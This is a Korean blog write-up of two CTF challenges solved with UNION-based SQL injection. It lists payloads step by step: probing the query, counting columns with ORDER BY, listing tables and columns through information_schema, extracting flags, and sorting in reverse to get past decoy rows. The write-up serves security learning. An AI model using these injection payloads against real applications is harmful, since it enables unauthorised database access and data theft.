[CTF] CTF 문제 풀이: SQL Injection w. UNION
📆 Created: 2024.11.25 Mon
🗓️ Updated: 2024.11.25 Mon
Reading time ~3 minutes
목차
1번째 문제
처음 들어가면 볼 수 있는 화면이다. SQL Injection 문제라고 제목부터 박혀있으니 얌전히 query문을 작성하겠다.
SQL Query 파악
- adminer
- 🤔 대소문자 구분이 없구나!
-
🫣
adminer’-> X - a%
- 🤔 like 구절이 있구나
-
🫣
a#-> X -
🫣
a’#-> X - a%’#
- 🫣
입력값이 들어가는 곳이 like 위치인가 보다 - 🤔 query에 괄호 안 사용하고 주석 필터링 없나 보다
- 🫣
-
🫣
’ and ‘1’ = ‘1-> X -
🫣
%’ and ‘1’ = ‘1-> X - ’ and ‘1’ = ‘1’#
column 개수 파악하기
- ’ order by 1, 2, 3, 4 #
- 💡 보이는 column이 4개니까 4개부터 시작했다.
- ’ order by 1, 2, 3, 4, 5 # -> X
- 🤔 column의 개수가 4개구만
UNION 사용 가능한지 확인하기
- ’ union select 1, 2, 3, 4 #
DATABASE 이름 확인하기
- ’ union select database(), 2, 3, 4 #
- 💡 database 이름은 sqli_1이었다.
TABLE 이름 확인하기
- ’ union select table_name, 2, 3, 4 from information_schema.tables where table_schema = ‘sqli_1’ #
- 💡 table이 총 3개가 나왔는데, 딱 봐도 수상해 보이는 flag_table와 plusFlag_Table를 먼저 시도하기로 했다.
COLUMN 이름 확인하기
- ’ union select 1, column_name, 3, 4 from information_schema.columns where table_name = ‘flag_table’ #
- 💡 flag_table에서는 flag라는 column을 확인할 수 있었다.
- ’ union select 1, column_name, 3, 4 from information_schema.columns where table_name = ‘plusFlag_Table’ #
- 💡 plusFlag_Table에서는 idx과 flag라는 column들을 확인할 수 있었다.
DATA 추출하기
-
’ union select flag, 2, 3, 4 from flag_table #
-
’ union select idx, flag, 3, 4 from plusFlag_Table #
2번째 문제
위쪽 문제랑 보이기에는 비슷해보인다.
SQL Query 파악
- normaltic
- 💡 보이는 column은 ID, Level, Rank Point, info
- normaltic’ and ‘1’ = ‘1
- 💡 ID가 입력한 그대로 보임
- 🫣
*-> X
column 개수 파악하기
- normaltic’ order by 1, 2, 3, 4 #
- 💡 보이는 column이 4개니까 4개부터 시작했다.
-
normaltic’ order by 1, 2, 3, 4, 5 #
-
normaltic’ order by 1, 2, 3, 4, 5, 6 #
- normaltic’ order by 1, 2, 3, 4, 5, 6, 7 # -> X
- 🤔 column의 개수가 6개구만
출력되는 column 위치 찾기, DATABASE 이름 확인하기
- ’ union select 1, 2, 3, 4, 5, 6 #
- 💡 보이는 column은 6번 위치에 있었다.
- ’ union select 1, 2, 3, 4, 5, database() #
- 💡 database 이름은 sqli_5이다.
TABLE 이름 확인하기
- ’ union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema = ‘sqli_5’ #
- 💡 table 이름은 flag_honey였다.
COLUMN 이름 확인하기
- ’ union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name = ‘flag_honey’ #
- 💡 column 이름은 flag였다.
DATA 추출하기
- ’ union select 1, 2, 3, 4, 5, flag from flag_honey #
- 😬 어쩐지 구라핑의 냄새가 나더라
TABLE 이름 확인하기
- ’ union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema = ‘sqli_5’ #
- 🤔 왜 1개씩 밖에 안 보일까?
- 🤔 row가 딱 한 개다?
- 🤔 row를 한 개씩만 보여준다?
- 🤔 다른 row가 더 있는데 안 보이는 게 아닐까?
- 🤔 다른 row를 보려면 어떤 걸 할 수 있을까?
- 🤔 왜 1개씩 밖에 안 보일까?
- ’ union select 1, 2, 3, 4, 5, table_name from information_schema.tables order by 6 desc#
- 💡 view라는 다른 table이 보여요 좋아요
- 🤔 row를 한 개씩만 보여준다가 맞는 가정이겠네
- ’ union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema = ‘sqli_5’ order by 6 desc #
- 💡 딱 봐도 수상한 table 이름이다.
COLUMN 이름 확인하고 DATA 추출하기 1
- ’ union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name = ‘secret’ #
- 💡 column 이름은 flag였다.
- ’ union select 1, 2, 3, 4, 5, flag from secret #
- 😬 아니 ㅋㅋㅋ 당했다
- 🤔 여기서도 역순으로 정렬해볼까?
- ’ union select 1, 2, 3, 4, 5, flag from secret order by 6 desc #